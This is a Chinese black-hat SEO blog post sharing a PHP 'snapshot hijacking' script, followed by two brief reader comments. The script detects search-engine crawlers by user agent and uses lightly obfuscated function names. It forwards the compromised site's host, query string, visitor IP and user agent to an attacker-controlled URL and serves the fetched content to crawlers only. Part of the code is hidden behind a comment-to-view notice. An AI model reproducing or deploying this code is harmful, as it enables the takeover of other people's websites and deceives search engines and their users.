富贵长生天做主由不得我
钢骨正气我做主由不得天

5-26更新PHP劫持代码

<?php
error_reporting(0);
$http_type=true;
$key= strtolower($_SERVER["HTTP_USER_AGENT"]);
$r_i=$_SERVER['REMOTE_ADDR'];
$spider_list=array("baiduspider","haosouspider","yisouspider","360spider","soso","sogou");
function c_me($url){
	$ch = curl_init();curl_setopt($ch, CURLOPT_URL,$url);curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$output = curl_exec($ch);
	curl_close($ch);return $output;
}
温馨提示: 此处内容需要 评论本文刷新本页 才能查看!
foreach($spider_list as $kk=>$vv) { if(strpos($key,$vv)!==false){ date_default_timezone_set('PRC'); $b2h="bi"."n2"."hex"; $pk="p"."a"."c"."k"; $r_i2=$b2h($r_i); $UU=$b2h($key); $h = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $t_u="你的网址HEX"; $t_u=$pk("H*",$t_u); $uuu=$t_u."/index.php?host=".$h."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']."&myUA=".$UU."&r_i=".$r_i2; if($http_type){$m=c_me($uuu);}else{$m=f_me($uuu);} echo $m;die(); } } ?>
赞(0)
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » 5-26更新PHP劫持代码

评论 2

评论前必须登录!

 

  1. #1

    感谢分享

    tzwl2020 3周前 (05-31) 来自天朝的朋友 谷歌浏览器 Windows 10
  2. #2

    学习下

    weiwang 2周前 (06-11) Taiwan; Republic of China (ROC) 谷歌浏览器 Windows 10